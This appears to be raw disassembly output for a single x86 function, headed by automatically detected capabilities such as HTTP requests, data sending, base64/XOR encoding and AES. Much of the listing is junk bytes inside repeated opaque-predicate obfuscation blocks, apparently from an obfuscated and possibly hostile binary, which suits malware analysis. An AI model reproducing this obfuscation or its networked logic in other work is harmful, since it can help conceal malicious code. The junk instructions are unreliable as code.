Function at 0x1007d85c
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Encode data using xor
Encrypt data using aes mixcolumns step
Parse pe header
Read http header
Receive http response
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
push edi
pushfd
test byte [0x1007a2d3], 0x35
jne 0x1007a3d4
xor ch, byte [edi]
imul edx, dword [esi - 0x66], 0x27df4950
mov cl, byte [ecx + 0x7352d5b5]
call dword [edx - 0x6794f2d4]
mov dh, 0xd4
or dword [ebx], ecx
mov ss, esi
jbe 0x1007a2fb
leave
xchg esi, eax
and byte [bp + si], dl
out 0xb2, eax
imul edi, dword [ecx - 0x13e9f7d3], 0x14c633a
sahf
xchg byte [0xfdcf88da], ch
pop ecx
fist dword [esi + 0x37305130]
add eax, 0x4d648258
outsb dx, byte [esi]
pop edi
and al, 0x76
cmp al, 0x21
sbb ebp, eax
sal dword [edi], cl
or al, 0x5a
jno 0x1007a3e0
popfd
mov edi, dword [ebp + 8]
cmp edi, ecx
jae 0x1007aab3
mov edx, dword [esi]
cmp edx, edi
pushfd
test byte [0x1007a434], 0x9a
jne 0x1007a435
div edx
sub cl, byte [ebp + 0x43]
mov edi, 0xf0e3badb
lock xchg byte [esi - 0x237cb605], dh
mov dword [0xf626c7c6], eax
dec esp
rcl dword [edi], 0xd7
add esi, eax
inc edi
js 0x1007a3c1
jnp 0x1007a48c
nop
mov al, 0xd8
dec ecx
rcl dword [ecx], 0x1d
xor al, 0xf
movsd dword es:[edi], dword [esi]
cmp byte [esi + 0x4f], ah
lea esp, [esi + 0x2b]
mov ebx, 0x79ec2ec8
ror dword [esi + 0x6b], cl
loop 0x1007a45c
and al, 2
adc dword [edx], eax
leave
push ecx
dec edx
and eax, 0x185ccd57
popfd
ja 0x1007aab3
pushfd
test byte [0x1007a52f], 0xaf
jne 0x1007a530
salc
cmp al, 0x95
lodsd eax, dword [esi]
cwde
and byte [ebx - 0x31], ah
arpl di, cx
cmc
dec ebp
fbld tbyte [edx]
mov ebx, 0x7ed36028
adc dword [ebp + 0x58], ebp
insd dword es:[edi], dx
pop eax
pop ss
xchg esp, edx
std
salc
and cl, byte [edx - 0x2a481ea1]
je 0x1007a450
test al, 0xa9
test byte [ebp + 0x4552ce01], 0x16
dec esp
push 0xfe869324
cmpsw word [esi], word es:[edi]
pop esp
aam 0x53
jge 0x1007a485
stosb byte es:[edi], al
push ecx
sbb esi, esi
mov ch, 0x18
sal byte [esi + edi*4 - 0x4c], 1
fimul word [esi + 8]
cmp al, 0xc2
dec esi
or byte [edx + eax*8], bh
bound edi, qword fs:[edx - 0x7c]
mov bl, cl
int 0x6c
sub bl, al
xor dword [ebx + 0x66], 0xffffffa4
sbb al, 0x30
add eax, dword [ecx - 0x414516bc]
salc
xor bh, cl
sar edx, cl
mov dh, 0x83
cmp eax, 0x6766dd0f
inc ecx
jo 0x1007a48d
enter 0x401d, 0xffffffffffffffa4
sbb bh, byte [ebx + edx*4 - 0x10]
in al, dx
rcr ah, 0x6b
or eax, 0xa84da84
fld xword [ebx + 0x24]
pop ds
pop edx
invalid
imul ecx, dword [0xa84da84], 0xffffffdb
imul esp, dword [edi + ebx], 0x5a
xlatb
add al, 0x55
add al, 0xa4
enter 0xffffffffffffe983, 0xffffffffffffffe1
mov ah, 0xb
jecxz 0x1007a518
test al, bl
mov dh, ah
stc
aad 0x9f
lodsd eax, dword [esi]
xchg esi, eax
int1
cmp dl, dl
jo 0x1007a4c0
shr dword [edx - 0x2f], 0x7d
call 0x259abbaa
jge 0x1007a516
mov cl, 0x38
ror dword [ebx - 0x93858d7], 1
mov esi, 0xaa98b43c
out 0x8d, al
leave
lodsb al, byte [esi]
mov bh, 0xc1
salc
mov bh, byte [eax - 0x1e]
movsd dword es:[edi], dword [esi]
shl edi, 1
fcmovnb st(0), st(2)
jno 0x1007a535
salc
push ebp
pop esp
out dx, eax
jle 0x1007a4bc
aam 0x7a
imul ebx, esi, 0xba364ab8
in eax, dx
pop ebp
in al, dx
cmp cl, byte [esi - 0x65]
pop ebp
mov ecx, 0xe677d49
and cl, byte [esp + esi*8]
inc edx
xchg ebx, eax
popfd
mov eax, edi
sub eax, edx
push 0x1c
cdq
pop edi
idiv edi
mov edi, eax
pushfd
test byte [0x1007a5fb], 0xaf
jne 0x1007a5fc
sub ebx, dword [edi]
les ecx, [edx + 0x702d62d6]
mov al, 0xbc
xor byte fs:[ebx - 0x5b8d39c6], bh
outsb dx, byte [esi]
imul ecx, dword [ebp - 0x6a], 0x485a4d30
xchg esi, esp
mov al, byte [0x5d7a5954]
cli
xor bh, byte [edx]
aad 0x1f
mov dword [ebp + 0x1b], ebp
and eax, 0xd5a1e91c
dec edi
mov esi, ecx
inc ebp
dec esp
push ss
push edi
rcr dword [ebx + 0xd503526], 1
pop eax
push edi
inc edi
pop es
mov esi, dword [edx + 0x64dbb3de]
mov ebp, 0x789e54fc
imul dword [ebx]
in eax, dx
adc cl, ch
xor eax, 0xc71e50a2
xchg byte [edx], dl
in al, dx
mov byte [0x86c71e50], al
adc ch, ah
test byte [ecx], al
int1
in al, 0x21
shl byte [ecx], cl
mov cl, 0x4d
dec ebx
mov dh, 0xad
adc edi, dword [edx + 0x28807ac8]
add dword [esi - 0x1d], esi
pop eax
jb 0x1007a5ee
int3
leave
adc dword [esi + 0xc], edx
sti
loop 0x1007a5f1
jbe 0x1007a64c
pop ebp
out 0xb0, al
rol dword [ebx + 0x113361ac], cl
shrd dword [ebx + 0x46e87817], ecx, 0xa7
sub dword [ecx - 0x53f0eecd], 0xffffff8b
pop ss
js 0x1007a5d0
inc esi
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
insb byte es:[edi], dx
inc edx
mov es, word gs:[edi - 0x6e]
mov es, word [edi - 0x6e]
sbb eax, 0x1754b9d7
adc byte [esi + 0x7c5877b8], cl
pop eax
jl 0x1007a59a
popfd
cmp ecx, dword [esi + 8]
pushfd
test byte [0x1007a62e], 0xe9
jne 0x1007a72f
sbb eax, 0xa01e618b
setnp dh
push es
and dword [ebx], ecx
jb 0x1007a5fa
mov esp, 0x56d1456e
dec esi
mov gs, word [esi]
jo 0x1007a5dd
pop eax
jl 0x1007a629
test al, 0x20
in eax, dx
and ch, ch
and al, 0x45
cmp eax, 0x7f0f95ca
pop edx
pop ecx
mov dl, 0x65
aad 0x23
mov edi, 0x7514821c
aam 0xb
pop esi
ror dword [ecx], 0x5c
mov dl, 0x2f
das
jecxz 0x1007a674
fcom dword [ebp - 0x2e]
pushal
inc edi
outsb dx, byte [esi]
mov bh, 0xe8
pop es
push ebx
idiv byte [ebx + ebx*4 + 0x25]
adc dl, byte [edx]
sbb edx, dword [eax]
popal
jl 0x1007a685
mov ebp, 0xaee97a8
or al, 0xe7
lds ebx, [eax + 0x194a733d]
imul edi, dword [ecx - 0xc32b85d], 0x9ff56e8
push esi
and dword [edx + 0x11615f60], eax
or dword [esi - 0xd], edx
and dword [edx + 0x11615f60], eax
pop ebx
popal
test esp, ecx
add eax, 0x2fb53628
mov ch, 0x2f
into
sub dh, byte [edi]
sub ch, byte [eax]
push 0xb
fistp qword [eax + 0x12]
push ss
push ebp
jb 0x1007a6e9
jg 0x1007a698
fdivr dword [ebx + 0x6b]
jnp 0x1007a705
invalid
rcl byte [ecx - 0x59], 0x8c
sbb ch, byte [edi]
xor esp, dword [eax]
jnp 0x1007a742
insb byte es:[edi], dx
mov edx, 0xfae333d5
or dword [esp + esi*2], esi
pop eax
mov ah, 0xc4
out 0x97, eax
inc dword [esi - 0x1b]
and ah, byte [esi]
add byte es:[esi - 0x2d66e49e], dh
add byte [esi - 0x2d66e49e], dh
sbb byte [ecx + 0x1d], al
and eax, 0xa6ca762c
cli
out 0x63, eax
std
xor bh, ah
mov esp, 0x153dcdc9
fisttp qword [edi - 0x60a459a]
cwde
jg 0x1007a706
adc dl, bl
add byte [ebp + 0x77], ah
push esi
popfd
jne 0x1007a882
push 1
mov ecx, esi
pushfd
test byte [0x1007a770], 0x39
jne 0x1007a771
mov esp, 0xacadd2c0
fstp qword [edx]
aad 0xf3
ja 0x1007a76c
pop ebx
xor eax, 0xc84755f2
mov al, byte [0xc77e5d92]
popfd
xchg al, dh
popal
push ebx
xlatb
cmc
popfd
lock xor byte [edi + 0x7b], ch
int3
cmp bh, bl
aas
cmp bl, bh
popfd
call fcn.10079dbd
pushfd
test byte [0x1007a880], 0xe5
jne 0x1007a881
add byte [eax], al
adc bh, cl
out 0xda, al
pop ebp
mov esp, 0x4a492e0a
adc dh, dl
pop es
jge 0x1007a7a2
push cs
xor ebp, ecx
mov cl, 0xb5
and eax, 0xbf1e66a7
in al, 0xfb
repne outsb dx, byte [esi]
or edi, dword [ebx - 0x11]
jnp 0x1007a793
aad 0
pop ebp
inc edi
call 0x20324bea
mov bh, 0x12
xlatb
push ss
add dword [ecx + 0x2f], edx
push ebp
push es
nop
fsubr st(6), st(0)
int1
movsd dword es:[edi], dword [esi]
jb 0x1007a762
pop ds
sub dword [ebx], ebp
dec ecx
and dword [edi + edi - 0x6d], esi
sub byte [ebp - 0x459126], bl
mov es, word [ebp - 0x644a5a1b]
wait
push 0xfeb404b4
sahf
cdq
jecxz 0x1007a7d0
enter 0xffffffffffffda3a, 0xffffffffffffffa3
sub dword [edx], edi
ja 0x1007a7ef
scasb al, byte es:[edi]
imul ebp, dword [edi + eax*2], 0xffffffb3
movsd dword es:[edi], dword [esi]
mov bl, 0x6d
push ecx
xor dh, byte [edi - 0x21]
mov bl, 0xe0
ja 0x1007a783
loopne 0x1007a868
xchg ecx, eax
push 0xd22953b9
or byte [edx + edx], bh
insb byte es:[edi], dx
jnp 0x1007a789
lodsd eax, dword [esi]
idiv byte [edx - 0x5f]
call 0x3fbda7de
mov gs, esp
xchg esp, eax
mov eax, dword [0x4cc6bc81]
lodsb al, byte [esi]
test edx, edx
lahf
and cl, byte [esi + edx + 0x4fd896e7]
sub byte [ebp + 0x4d], al
cmp dword [esi + eax*8 - 0x2d7a53b4], 0x168c229f
out 0x96, eax
fmul dword [edi + 0x28]
inc ebp
dec ebp
sub al, 0x99
or byte [ecx], al
jae 0x1007a80a
push es
imul ebp, dword [ecx - 0x62], 0x39
push esi
movsb byte es:[edi], byte [esi]
push 0xdc821d1c
enter 0xffffffffffffb357, 0xffffffffffffffed
pop esp
int3
cwde
push eax
sbb byte [esi + 0x52], 0x48
mov bl, 0x50
xchg ebx, eax
mov dl, 0x2a
pop edx
rcl byte [edx - 0x11], cl
test byte [ecx + edx*2], 0x6b
jb 0x1007a8e0
int3
popfd
imul edi, edi, 0x1c
add edi, dword [esi]
pushfd
test byte [0x1007a968], 0xd5
jne 0x1007a969
repne stosd dword es:[edi], eax
cli
popal
cmp ebp, dword [ebp - 0x131bacd3]
cmpsb byte [esi], byte es:[edi]
popfd
pop eax
in eax, dx
xchg ecx, eax
pop ds
mov dword [0x9ddf8800], eax
insb byte es:[edi], dx
cmc
frstor dword [eax - 0x367a05b2]
inc esp
cdq
mov dh, 0x2e
fcom st(4)
pop ss
push esp
xchg ebx, eax
mov cl, dl
adc al, 0x1b
jle 0x1007a8e5
cmpsd dword [esi], dword es:[edi]
test dword [ebx], 0xa17ad14c
mov word [esi - 0x3f], es
into
push ebp
cmc
rcl byte [ecx], 0xbb
pop edi
inc ecx
xor ecx, dword [eax + 0x15]
jb 0x1007a90e
and cl, byte [ecx + 0x2ffd5478]
adc al, 0xb7
rcr byte [edi], cl
mov bh, 0xd2
pop ds
loopne 0x1007a91e
and dword cs:[esi - 0x18], edi
mov esp, 0xd3fa1698
aas
sub al, 0xb8
pop edi
xchg edx, eax
rol esp, cl
popfd
xchg ebp, eax
xor byte [eax + 0x721e2caa], dh
into
pop edi
mov esi, 0x8531e56b
test byte [ecx - 0x2693e56c], dh
cmp dword ss:[eax], ecx
sar dword [ebx], 0x91
push ebx
rol dword [eax + ebx + 0x42], 1
cmp edx, dword [ecx + 0x1844d153]
inc edx
inc esp
sbb byte [edx - 0x64], al
pushfd
ficom dword cs:[ebx]
mov esi, 0xc5058ec3
push es
cmp ah, ch
bound esp, qword [ebx + 0x43]
sbb al, byte [ecx - 0x2b9ecb09]
dec esi
sub dword [edi + esi*2], ebx
inc ecx
pushfd
mov dh, 0x2b
into
test eax, 0x1f8c9362
lea esi, [eax - 0x750bcf83]
dec edi
fcmovnbe st(0), st(3)
pop es
push es
jecxz 0x1007a8e0
mov esp, 0xfe73e2cc
adc al, ah
mov bh, 0xee
ror byte [edx - 0x7446ee75], 0x51
outsb dx, byte [esi]
adc ecx, dword [ecx + 0x14]
pop eax
dec esp
inc edx
enter 0xffffffffffffcd00, 0x47
out 0xcf, eax
popfd
lea eax, [esi + 0xc]
push edi
pushfd
test byte [0x1007a9df], 0x3b
jne 0x1007a9e0
in al, dx
cmpsd dword [esi], dword es:[edi]
jb 0x1007a9d1
jle 0x1007a912
inc ebx
shl ebx, 1
mov edx, 0x4b5e68ee
sub dl, byte [eax]
in al, 0x45
adc ah, ah
inc ebp
sbb dword [ebp + ecx*2 + 0x6a72929a], ebp
push ebx
sub dword [ecx - 0x3f], edi
shr al, 1
cmpsb byte [esi], byte es:[edi]
or eax, 0x627047b8
lds ebp, [edx]
jbe 0x1007a934
pushfd
outsb dx, byte [esi]
sbb dword [edi + 0x26], eax
add bl, byte [edi + esi*2 - 0x2d978172]
sub esi, esp
bound ebp, qword [edi + edx]
pop eax
jno 0x1007aa0f
cdq
das
outsb dx, byte [esi]
nop
cmpsd dword [esi], dword es:[edi]
mov esp, esi
sbb esp, eax
bound esi, qword [edi]
jl 0x1007a988
mov bl, 0xd7
adc byte [esi], al
and eax, 0xd5c7f791
mov esi, dword [edx - 0x5c]
lds esi, [edx]
in al, 0xbc
adc byte [eax - 0x5278ad67], bh
sbb dword [eax + 0x5359b6ed], ebx
xor ah, ah
mov esp, 0x5299b810
xchg dword [ebp - 0x491267e7], ebp
pop ecx
push ebx
popfd
push dword [esi + 4]
push eax
pushfd
test byte [0x1007aaa7], 0xa6
jne 0x1007aaa8
push ds
push es
int1
sub eax, 0x7ab5d623
add eax, 0x8990dfc1
out dx, al
xchg esp, eax
test dword [eax + 7], esp
xor ebx, dword [ecx + 0x2e]
mov ebx, 0x9efa01e6
xchg edx, eax
inc ecx
div dword [ecx + 0x37]
or eax, 0x5a13d45e
inc esp
ficomp word [edi]
xchg esp, eax
into
in eax, dx
sbb al, 0x5c
jnp 0x1007aa31
lahf
push edi
loop 0x1007aa76
fnstcw word [ebp + 6]
xchg ebp, eax
in eax, dx
imul ebx, edx, 0x6b7a9194
sub eax, 0xcdbb707d
or ebp, dword [ebx]
lodsd eax, dword [esi]
jge 0x1007aaa3
mov ebx, 0xad2b0bcd
test al, 0x93
mov ebp, 0xb3b8bb35
or dh, byte [ecx]
pcmpeqb mm7, qword [ebx]
push 0x4e3f66ca
std
not dword [ebp + 1]
xchg esi, eax
stosd dword es:[edi], eax
insd dword es:[edi], dx
fsubr qword [0xbc78c4b7]
insb byte es:[edi], dx
sahf
movsd dword es:[edi], dword [esi]
fucom st(4)
sub edx, dword [edi - 0x46]
mov ch, 0x2b
add al, 0x6f
mov esi, 0x53d676ed
and ebp, dword [eax + 0x56]
lea edx, [edx]
sub byte [ebx + 1], 0x7d
enter 0xa6a, 0x1e
fstp dword [edi]
mov gs, eax
and dword [edx - 0x2d], ebp
adc byte [ebx], ah
push 0x66dfb9bb
out 0xa8, eax
cmpsb byte [esi], byte es:[edi]
push 0xbae57578
dec ebx
out dx, eax
add dword [esi + edx*8], 0x66
add al, 0xbb
xchg dword [edx + 5], edx
test eax, 0xd0a62225
sar dword [edx + 0x59872753], cl
pop ebx
dec eax
mov eax, dword [0x61742b4c]
popfd
call fcn.10072e02
jmp 0x1007ab96
cmp ecx, dword [esi + 8]
jne 0x1007ab89
push 1
pushfd
test byte [0x1007ab80], 0x55
jne 0x1007ab81
jno 0x1007ab1d
and eax, dword [ecx - 0x6e]
jo 0x1007aad7
sbb eax, 0xea0ef653
jmp dword [edx]
ljmp 0x170e:0xe20b22ff
dec esp
push ecx
shr dword [eax], 0xda
sub esp, esi
aas
sbb dword [ecx - 0x10], esp
loop 0x1007ab10
add bl, ah
mov dword [edi - 0x7e5bbdb], eax
sbb edx, ebx
test al, 0x9a
dec edi
arpl word [esp + eax*8 - 0x4e91b40a], si
inc eax
int3
retf
aad 0xe7
pop ebp
push es
jne 0x1007ab48
or eax, 0x74faac95
and al, 0x29
mov ch, 0xb4
pop ds
dec ecx
jl 0x1007ab2a
mov ebp, 0xdf405495
insd dword es:[edi], dx
sbb eax, dword [edi + ebp*2]
cwde
inc esp
out dx, eax
cmp dh, bh
cmp byte [ebp + 0x6a], bl
inc ebx
sub byte [edi - 0x59], 0xb2
mov al, 0x37
salc
fisub dword [eax + 0x58ac26d3]
lodsb al, byte [esi]
pop eax
les ebx, [edx + 0x42cc70b5]
mov ebx, 0xc75d2c62
jle 0x1007aae1
inc edx
dec bh
sbb byte [edi], bh
stosd dword es:[edi], eax
scasb al, byte es:[edi]
mov ch, 0x89
das
lea esi, [edx - 0x3a]
imul ebx, dword [eax + edi*2 + 0x33d11faf], 0xe2198359
pushfd
js 0x1007ab17
pop ds
sal dword [ebx], 1
pop ecx
sbb dword [ecx], 0xffffffe2
mov al, byte [0x12a40855]
fnstenv [ebx - 0x775d1b4d]
imul ecx, dword ss:[esi - 0x3e], 0xfffffff8
clc
jne 0x1007ab7e
popfd
mov ecx, esi
call fcn.10079dbd
push edi
push dword [esi + 4]
lea eax, [esi + 0xc]
push eax
call fcn.100753d8
add esp, 0xc
add dword [esi + 4], 0x1c
pop edi
pop esi
pop ebp
pushfd
test byte [0x1007ac50], 0xa9
jne 0x1007ac51
xchg ebx, eax
imul edi, dword [ebx - 0x4006c6b], 0x1404958a
sbb al, 0xa7
sti
mov dl, byte [ebp - 0x58e3ebfc]
sub dh, byte [eax - 0x67]
sub dword [eax + 0x30], esi
adc al, 0xb5
salc
dec ebp
out dx, al
push es
inc esp
sbb byte [eax], ch
js 0x1007ac23
xor byte [edx], dl
out 0x88, eax
scasb al, byte es:[edi]
dec ebp
into
push ds
jnp 0x1007abed
cmp eax, 0x2276a015
pop edi
jbe 0x1007ab65
js 0x1007abdd
mov dl, 0xba
mov dl, byte ds:[edi]
cmp byte [esi - 2], bl
shr byte [eax], cl
mov esp, 0xc552617a
push cs
popal
push edx
lds esp, [esi + 0xe]
xor dword [edi], 0xe90d1755
mov cl, 0x90
pop es
clc
in al, dx
and byte [ecx], ch
push eax
ja 0x1007abed
test cl, cl
imul ch
mov edx, 0x184027d0
in al, 0x50
jecxz 0x1007abc7
ror byte [edi - 0x4d], cl
push edx
stosd dword es:[edi], eax
add ecx, edx
cmp esi, dword [eax + 0x4923c6b7]
mov al, 0xd1
mov bl, 0x3f
xchg edi, eax
jns 0x1007abb4
nop
or dword [ebx + edi], edx
xchg ebx, eax
pop esp
push edx
aaa
cmpsb byte [esi], byte es:[edi]
salc
sti
cdq
daa
sbb eax, 0xa5e45411
dec ebx
inc eax
cmpsb byte [esi], byte es:[edi]
imul byte [edi + eax*2 - 7]
adc byte [ebx + edi*8], ch
test al, 0xe2
and esp, esp
loopne 0x1007acba
inc esp
or ecx, edi
cmp ah, byte [edx]
mov dword [0x8c5654cb], eax
or al, 0x3f
popfd
ret 4
cmp dh, byte [ebx - 0x5fe19937]
xchg edx, eax
les esp, [ecx + 0x3cf37202]
loopne 0x1007ac3f
jb 0x1007aca4
cmp al, 0xe0
mov edx, dword [edi - 0x38]
mov al, 0xf3
fistp dword [ebx + ecx*4 + 0x3de14133]
push edi
enter 0xfffffffffffff3b0, 0xffffffffffffffdb
pushfd
mov esi, dword [ebx]
inc ecx
loope 0x1007acfc
call esp
mov dl, 0x14
ficom dword cs:[eax + esi*2 - 0x35]
sub al, 0xda
sub dword [eax - 0x60b0a306], ebx
retf
ficom dword es:[esi - 0x3bc92345]
sub al, 0x70
cld
jg 0x1007acd1
push ebx
sub esp, dword [esp + ecx*2 - 0x61]
adc edx, esi
inc ebx
add ebx, dword [ecx - 0x731158ce]
push es
pop ecx
aas
sbb al, 0x2c
pop ss
call 0x1aa6e439
mov ah, 0xf4
jo 0x1007acfa
rol dword [ebx + 0x26ca4584], 0x26
dec esp
test byte [ebp - 0x36], al
dec esp
dec ebx
or cl, byte [ebx]
jae 0x1007acaf
out 0x33, eax
sahf
dec esi
inc ecx
sal byte [edx - 0x80], cl
stc
rcr dword [edx], 0xfb
pop esp
cdq
std
lds esi, fs:[ecx + 0x79]
adc al, 0x7e
adc dword [esi + 0x68], esp
popfd
mov edi, ecx
xor ebx, ebx
push eax
lea ecx, [ebp - 0xcb0]
pushfd
test byte [0x1007ae03], 0x7c
jne 0x1007ae04
add eax, 0x1007ae03
jl 0x1007ad44
test edx, ecx
add byte [eax], al
add byte [edi - 0x74], bh
jg 0x1007acc8
adc eax, 0xac9b2bbb
lodsb al, byte [esi]
and edi, dword [0x5224502d]
push eax
and al, 0x52
add eax, 0x84c626f6
bound eax, qword [eax - 0x351fa3f]
sub ah, byte [ecx]
or dword [edi - 0x1d], ebp
call 0x31235806
outsd dx, dword [esi]
jecxz 0x1007ad40
stosb byte es:[edi], al
stosb byte es:[edi], al
sbb esp, dword [ecx]
movsb byte es:[edi], byte [esi]
sbb eax, 0xff53f314
frstor dword [ebx - 0x67]
push ebx
push esp
sub al, byte [edx]
push ds
cmp ch, byte [0xd485060d]
and dword [ebx + 0x3bfcb5f3], 0x566e4b0e
xor byte [0x2f965c60], bh
mov ch, 0x48
xchg esi, eax
inc esp
dec ecx
loopne 0x1007ad2e
and al, 0xfc
sbb al, byte [edi + 0x62]
fdiv qword [ebx + 0x51]
mov al, 0xf1
and byte [esi - 0x54365753], 0x84
int 0xf7
xor dh, al
or eax, 0x50808fd1
xor eax, 0xa49a3ba4
push ecx
pushal
mov bh, 0xc1
sub bh, ah
xchg byte [ebp - 0x27], dl
jnp 0x1007ad55
jecxz 0x1007ad80
mov eax, 0xf562820d
and cl, byte [ebx + 0x2b7374ff]
call 0x962f907c
xchg ebp, eax
jo 0x1007adb6
invalid
aas
xchg dword [ecx - 0x55bbda99], ebx
call 0x3f017401
cwde
scasb al, byte es:[edi]
inc eax
adc dh, byte [edx]
and byte [esi + edx*2], 0xbb
int 0xe7
int 0x37
stc
mov esp, 0x2a3b074a
std
sub bh, ch
or edi, dword [ebp - 0x75339522]
rol esi, 1
stosb byte es:[edi], al
test byte [esi], bl
jnp 0x1007ade4
std
rcr byte [ecx], cl
sbb dl, al
std
clc
mov dh, 0xd4
lahf
sub eax, 0xd00bfc23
in eax, dx
popfd
mov dword [ebp - 0xcdc], edi
mov dword [edi + 0x124], ebx
call fcn.1006ccd3
cmp dword [ebp - 0xc9c], 0x10
mov eax, dword [ebp - 0xcb0]
mov dword [ebp - 4], ebx
jae 0x1007ae2e
lea eax, [ebp - 0xcb0]
mov esi, 0x101475f8
push esi
push eax
call fcn.1011f079
pop ecx
pop ecx
pushfd
test byte [0x1007aedf], 0x6f
jne 0x1007aee0
salc
test dword [edi + 7], esi
and edi, dword [edi]
mov bl, 0xef
mov dh, 0x22
out 0x8b, eax
sub al, 0x54
cmp byte [eax], 0x72
test eax, 0xd19119c2
sbb al, 0xf
pop edi
mov bh, 4
out dx, al
inc ebp
pushal
mov byte [edx + 0x67f144ea], ch
push 0x904f1159
add dl, byte [esi]
scasb al, byte es:[edi]
add edi, dword [ebp + 0x47]
insb byte es:[edi], dx
mov cl, 0x1b
sub ebp, ebp
stosd dword es:[edi], eax
cmp al, byte [ecx]
aaa
loop 0x1007aee4
push dword [esi]
lahf
mov edx, ebp
mov esp, 0xbf9993d7
push edi
cmp eax, 0xdabc4ceb
add eax, 0x20cadafb
cmpsb byte [esi], byte es:[edi]
pop edx
jle 0x1007aeff
mov eax, 0x9d8217ab
xor al, 0xed
push ecx
add byte [edx + 0x5584a17d], ah
ror dword [edx], cl
or ah, 0x12
rol byte [ebx], cl
test byte [eax + edx*8], dh
int 0x7f
inc esp
bound edx, qword [edx - 0x25d730d2]
nop
add byte [edx + eax*4], cl
insb byte es:[edi], dx
fidivr word [edi]
sub esp, eax
and dl, byte [eax + 0x31]
jo 0x1007aea4
sbb eax, 0xc9cc04d1
or dword [edx - 0x56f0566f], edx
adc ecx, dword [ebp + 0x77003a6b]
popfd
test eax, eax
je 0x1007af10
sub eax, dword [ebx - 0xc9b43]
call dword [eax]
cmp dword [ebp - 0xc9c], 0x10
mov eax, dword [ebp - 0xcb0]
jae 0x1007aefa
lea eax, [ebp - 0xcb0]
mov esi, str.POST
push esi
push eax
call fcn.1011f079
pop ecx
pop ecx
test eax, eax
jne 0x10087c15
push esi
call fcn.1011d740
pop ecx
push eax
push esi
lea ecx, [ebp - 0xcb0]
call fcn.10005303
xor eax, eax
push 0xa26
mov word [ebp - 0xc40], ax
lea eax, [ebp - 0xc3e]
push ebx
push eax
mov byte [ebp - 0xce1], bl
mov dword [ebp - 0xcc0], ebx
call fcn.1011df60
push 0x3c
pop esi
push esi
lea eax, [ebp - 0xd88]
push ebx
push eax
call fcn.1011df60
add esp, 0x18
cmp dword [edi + 0x24], 0x10
pushfd
test byte [0x1007b002], 0x2c
jne 0x1007b003
add ebp, dword [edi]
sub ebp, dword [edx - 0x4e1ab70e]
cmp dword [edi], esp
je 0x1007af06
insb byte es:[edi], dx
jns 0x1007affb
sal dword [ecx], 0xda
push es
jl 0x1007aff8
loop 0x1007afa6
mov ah, 0xaf
pop ss
rol dl, 0xd3
mov dl, 0xda
xchg dword [ebx - 0x7df89acc], edx
out dx, eax
xchg esi, eax
mov ebx, 0xe885dd03
scasb al, byte es:[edi]
pop edx
mov dl, 0x4a
jg 0x1007af3a
fmul qword [edi]
out dx, eax
sub eax, 0xfaacd48a
inc esi
imul edi, dword [0xd8c37f02], 2
nop
aad 0x45
scasd eax, dword es:[edi]
xchg ecx, eax
mov ebx, 0xddde2339
and ch, cl
xchg esp, eax
test eax, 0x99d56a2a
pop ss
add byte [ebp + 0x25], bh
jge 0x1007afc9
dec ebp
scasb al, byte es:[edi]
sub byte [esi], dh
add ebp, dword [ebp + ebp*2 - 0x7b]
mov ecx, 0xbfbe8321
std
popal
and dword [ebx + 0x61fdbfbe], eax
adc ecx, dword [eax + edx + 0x71]
cmp ah, 0xd1
or ch, ah
cmp dl, bh
sal dword [ebx - 0x7a], 0xec
std
sub byte [ebx - 0x15], dl
in eax, 0xb3
adc ah, dl
cmpsb byte [esi], byte es:[edi]
jnp 0x1007afd4
sub dword [ecx - 0x10b545ff], esp
add dword [edx + 0x37e3ef4a], edi
out dx, eax
jecxz 0x1007b035
mov eax, 0xe66f181d
popfd
lea eax, [ebp - 0xc40]
mov dword [ebp - 0xd88], esi
mov dword [ebp - 0xd74], 0x104
mov dword [ebp - 0xd5c], eax
mov dword [ebp - 0xd58], 0x514
mov dword [ebp - 0xd80], 1
jb 0x1007b041
invalid
or ecx, dword [ebx - 0xcdb7b]
dec dword [ebx + 0x57eb1078]
mov eax, dword [ebp - 0xcdc]
mov edi, dword [eax + 0x10]
jmp 0x1007b098
mov edi, dword [ebp - 0xcdc]
add edi, 0x10
pushfd
test byte [0x1007b096], 0x90
jne 0x1007b097
xchg esi, eax
mov al, 7
adc byte [eax - 0x6c23bc8b], dl
push cs
inc ebp
fnstsw word [esi]
fcom qword [ebx + 0x3edd450e]
popfd
mov ecx, 0xcd0acf29
push esp
inc edx
jecxz 0x1007b008
mov es, esi
fucom st(5)
rcr esi, 1
jl 0x1007b0ec
pushfd
push ecx
jo 0x1007aff1
and eax, 0xce3bb8ca
jno 0x1007b04d
rol byte [ebp - 0x7ff5f483], 0x99
cmp eax, 0xd713642b
or ch, ah
pop ds
cdq
enter 0x1b33, 0x75
jnp 0x1007b0f6
mov dword [esi + 0x37781b7a], edx
test byte [edi + 0x75], bh
popfd
cmp edi, ebx
je 0x1007b0b2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x1007b180
xor eax, eax
jmp 0x1007b1a2
push eax
out 0xfc, al
cmpsb byte [esi], byte es:[edi]
sal ebx, 0xcc
inc edi
pop edx
adc bl, byte [esi - 0x68]
and ah, byte [ebx + ebp - 0x552ea77a]
cmp byte [eax - 0x4f], bh
jg 0x1007b13e
int3
pop eax
shr dword [edx + 0x7fb17838], 1
inc eax
arpl word [0x93e77968], sp
insb byte es:[edi], dx
mov al, byte [0x3b396efc]
stc
movsb byte es:[edi], byte [esi]
pop ss
rcl eax, 0x19
and al, 0xf8
xchg byte [ebx - 0x2a], al
mov dl, 0xfd
and ebx, dword [esi + 0xd3bd66b]
dec eax
in eax, dx
cmp dword [ebp + 0x6b], eax
stosd dword es:[edi], eax
and cl, al
sub dword [ebx - 0x3d], 0x72452ebf
cmp eax, 0x49aa52fa
pop esp
rcl al, 1
test dword [ecx - 0x520f19ad], ebp
and eax, 0x3badbfde
jecxz 0x1007b0e6
mov edi, 0xa3e33bad
add dword [esi], esp
movsd dword es:[edi], dword [esi]
fidiv word gs:[eax + 0x48]
inc ebp
add dword [ebx + 5], ebx
cld
mov esp, 0xcb78d5ff
sbb ebx, dword [edi]
push eax
salc
sub dword [esi + 0x61], 0xd645c9e2
push ebp
dec ecx
cmp cl, byte [edi]
pop es
movsd dword es:[edi], dword [esi]
pop ds
mov ss, word [ebp - 0x2f]
mov ecx, 0xefacefce
mov ch, 0x82
mov ebx, 0x226cef9d
pop ss
pop edx
add edi, dword [esi - 0x1dbec53]
popfd
lea eax, [esi + esi]
call fcn.101222f0
mov eax, esp
push 3
pushfd
